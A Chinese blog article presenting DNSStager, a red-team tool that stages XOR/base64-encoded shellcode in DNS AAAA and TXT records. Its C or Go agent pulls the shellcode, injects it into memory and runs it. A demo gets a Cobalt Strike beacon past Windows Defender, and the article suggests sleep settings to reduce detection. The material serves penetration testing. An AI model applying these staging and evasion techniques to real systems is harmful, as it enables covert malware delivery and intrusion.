揭开 DNSStager 的面纱:在 DNS 中隐藏有效负载的工具

2022-01-21 14:20:18 浏览数 (1)

预计阅读时间: 8 分钟

在过去的几周里,我正在开展一个新项目,该项目可以帮助我解决我面临的案例中的问题,我需要一个工具来帮助我通过 DNS 提取有效负载,而不会产生噪音或怀疑,并且能够将此有效负载注入内存并运行它。

经过一番工作,我很高兴发布了 DNSStager。

什么是 DNSStager?

DNSStager是用来帮助Pentesters / RedTeamers隐藏在DNS的负载,并解决它基于多个DNS记录,如开源工具 IPv6  和TXT  并再注入到内存中并运行它。

DNSStager 将为您创建一个虚假的 DNS 服务器,该服务器将根据 AAAA 和 TXT 记录解析您的域的虚假地址,这些地址呈现您的一部分有效负载编码/加密并可供代理使用。

DNSStager 可以为您生成 C 或 GoLang 代理,您只需为 DNSStager 定义一些变量,它会为您处理整个过程。

此图显示了 DNSStager 的工作原理:

正如我们从前面的图中看到的,DNSStager client.exe 将尝试解析由 DNSStager 生成的N个子域,并且这些域的每个响应都呈现了您编码的有效负载的多个字节。

DNSStager 将对您的有效负载进行编码,将其拆分为块,并准备好通过您的 client.exe 代理(可以是 C 或 GoLang 代理)解析,您可以在启动 DNSStager 时选择它,我们稍后会讨论。

因此,在检索到所有有效负载字节后,DNSStager 代理会将它们注入内存并直接运行它们以执行 shellcode,这里的好处是您可以自定义代理并实现自己的进程/内存注入技术来运行有效负载在它通过DNS被拉出来之后。

DNSStager 主要功能

  • IPv6 在记录中隐藏和解析您的有效负载 。
  • TXT 在记录中隐藏和解析您的有效负载 。
  • XOR 编码器对您的有效载荷进行编码。
  • Base64 编码器对您的有效负载进行编码(仅适用于 TXT 记录)。
  • 一个纯代理写入 C 具有自定义它的能力。
  • 一个纯代理写入 GoLang 具有自定义它的能力。
  • 在每个 DNS 请求之间使用睡眠的能力。
  • 还有更多!

为什么使用 DNSStager?

DNSStager 的最佳用例是当您需要通过 DNS 检索有效负载时,它是您可以从中接收数据的唯一通道。

您可以使用 C 或 GoLang 客户端通过 DNS 解析完整的有效负载,并自定义代理以使用您自己的进程/内存注入,这意味着您可以针对您的操作和目标完全自定义它。

DNSStager 目前支持两条 DNS 记录来解析完整的有效负载,它们是:

  • IPv6 通过 AAAA 记录。
  • TXT 记录。

当然还有更多即将推出!

DNSStager 安装

要安装 DNSStager,您需要先使用以下命令从官方 repo 克隆它:

代码语言:javascript复制
git clone https://github.com/mhaskar/DNSStager

然后使用以下命令安装 DNSStager 的所有 python 要求:

代码语言:javascript复制
pip3 install -r requirements.txt

请注意,您需要 Python3 才能运行 DNSStager。

C 语言依赖项

要编译 DNSStager C 代理,您需要使用以下命令安装 ming-w64:

代码语言:javascript复制
apt install mingw-w64

GoLang 依赖项

要编译 GoLang 代理,您需要安装 GoLang 编译器 v1.16。

安装所有依赖项后,您现在可以使用以下命令启动 DNSStager:

代码语言:javascript复制
./dnsstager.py

请注意,您需要 root 权限才能启动 DNSStager。

你现在可以走了!

确保systemd-resolved在运行 DNSStager 之前禁用。

DNS 设置

要使用 DNSStager,您需要将您的域指向 DNSStager 作为他的名称服务器“DNS 服务器”,以便解析和处理进入您域的任何 DNS 请求。

例如,我正在控制一个名为的域,mydnsserver.live我创建了一个名为的子域test.mydnsserver.live,并 在运行 DNSStager 后 创建了mydnsserver.live “NS” – 名称服务器。test.mydnsserver.livemydnsserver.live

因此,在这种情况下,任何进入域的请求都 test.mydnsserver.live将由 mydnsserver.live我们正在运行的 DNSStager 实例处理。

这意味着如果您尝试解析subdomain.test.mydnsserver.liveDNSStager 将解析subdomain.test.mydnsserver.live它是否存在的值。

您可以将 NS 更改为您想要的任何子域/域,但在我的情况下,我只是将主域作为 NS。

DNSStager 选项

我们可以使用开关 -h 检查 DNSStager 选项,如下所示:

代码语言:javascript复制
root@DNSStager:~/DNSStager# ./dnsstager.py -husage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT]                    [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP] DNSStager main parser optional arguments:  -h, --help            show this help message and exit  --domain DOMAIN       The domain you want to use as staging host  --payloads            show all payloads  --prefix PREFIX       Prefix to use as part of your subdomain schema  --payload PAYLOAD     Payload to use, see --payloads for more details  --output OUTPUT       Agent output path  --shellcode_path SHELLCODE_PATH                        Shellcode file path  --xorkey XORKEY       XOR key to encode your payload with  --sleep SLEEP         sleep for N seconds between each DNS requestroot@DNSStager:~/DNSStager#
  • –domain:您可以使用此选项来选择将用于处理 DNS 请求的主域,在我们的例子中,它将是 test.mydnsserver.live.
  • — prefix:您要用于子域模式的前缀例如,如果您的主域是 test.mydnsserver.live 您可以将前缀指定为“cdn”,例如,生成的域将是如下模式:
    • cdn0.test.mydnsserver.live
    • cdn1.test.mydnsserver.live
    • cdnN.test.mydnsserver.live

自动 N 生成的数字代表有效负载的块数。

  • –payload:您要根据技术、编程语言和架构生成的 DNSStager 有效负载“代理”。
  • --output:保存 DNSStager 可执行负载“代理”的输出路径。
  • --shellcode_path:你的 raw/ bin shellcode 路径。
  • –xorkey:用于对有效负载进行编码的 XOR 密钥。
  • –sleep:用于在每个 DNS 请求之间休眠 N 秒。

DNSStager 有效负载

--payloads您可以使用以下选项检查 DNSStager 有效负载:

DNSStager 有效载荷的结构是:

arch/language/method

该方法是您希望 DNSStager 将您的有效负载转换为的 DNS 记录。

如前所述,目前有两种模式可以使用:

  • IPv6 (AAAA)。
  • 文本文件。

DNSStager 有效负载编码器

DNSStager 使用XOR编码器/加密器加密您的有效负载,以防您IPv6用于表示您的有效负载,并且base64如果您TXT用于表示您的有效负载。

如果您使用的是 TXT 模式,那么在使用 base64 编码之前,payload 也将使用 XOR 进行编码。

您可以使用该--xorkey选项指定 xor 密钥来加密您的有效负载。

并且作为 OPSEC 考虑,DNSStager 将检查您是否没有选择 XOR 密钥并要求您输入 XOR 密钥或在没有它的情况下进行处理,如下所示:

将来会添加额外的编码器。

DNSStager 请求睡眠

您可以指定每个 DNS 请求之间的休眠秒数,这将使这些记录的 DNS 查询噪音更小。

您可以使用--sleep选项后跟要休眠的秒数来执行此操作。

DNSStager 使用示例

现在让我们使用 DNSStager 通过完全更新的 Windows Defender 来破坏 Windows Server 2019。

我将生成 Cobalt Strike 有效负载并将其保存到 payload.bin 文件,如下所示:

随意更改有效负载。

现在我将此有效负载上传到我的 DNSStager 实例:

现在准备好运行 DNSStager,我的域是 test.mydnsserver.live,我将使用 cdn我的前缀和此屏幕截图中显示的其余选项:

我用 XOR 密钥对我的有效负载进行了编码 0x20,请求之间没有睡眠。

AAAA让我们通过使用以下 dig 命令查询域的记录来 测试一切是否正常 cdn0.test.mydnsserver.live

如我们所见,红色框包含我们的有效负载 XOR 编码的前 16 个字节0x20

为了验证这一点,让我们从 payload.bin 中读取前 16 个字节,然后对它们进行异或运算0x20,得到以下结果:

正如我们所看到的,在使用0x20.

现在我们准备发送agent.exe到我们的目标,看看我们是否会得到一个信标回到我们的 Cobalt Strike。

让我们在 Windows Server 2019 中打开这个文件,看看我们会得到什么:

完美的!我们可以看到,在通过 DNS 提取完整的 shellcode、对其进行编码并从内存中运行它之后,我们从 DNSStager 返回了一个信标。

这个 GIF 展示了这个过程:

观察

DNSStager 代理将发送一些 DNS 以提取完整的有效负载,当然,如果您使用的是 IPv6,则请求的数量将大于 TXT,因为每个请求仅限 16 个字节。

现在要查看实际流量,让我们在 Windows Server 2019 上打开 Wireshark,看看那里发生了什么!

总共发送了 59 个 DNS AAAA 请求以提取完整的有效负载,我们可以在每个请求之间添加一些睡眠以减少噪音!

并且不要忘记该过程再次取决于有效负载的大小,更大的 shellcode 意味着从代理发送的请求更多。

DNSStager 代理定制

您可以修改要用于 GoLang 和 C 代理的进程注入技术,您可以在 DNSStager 主文件夹内的模板文件夹中查看这两个代码的源代码。

C 代理目前在从 DNS 拉取后简单跳转到 shellcode,当然,您可以在编辑 C 代理模板 templates/client-ipv6-generic.cmain 函数后随意自定义,代码如下:

代码语言:javascript复制
int main(){ // Get Shellcode Address LPVOID ShellcodeAddress = GetShellCodeAddress(); // Write your injection technique here// And use ShellcodeAddress as your shellcode pointer // Jump to shellcode -  Replace it with your technique goto *ShellcodeAddress;}

在第 95 行,您将可以使用的 shellcode 的地址保存在一个名为的变量中ShellcodeAddress,然后我们使用 simplegoto跳转到该地址。

您现在可以通过编辑此函数来使用ShellcodeAddress您的进程/内存注入技术。

对于 GoLang 代理

您还可以通过 retreiveShellcodeAsHex 在两个模板文件中使用该函数来自定义它:

  • 模板/client-ipv6-generic.go
  • 模板/client-txt-generic.go

0 人点赞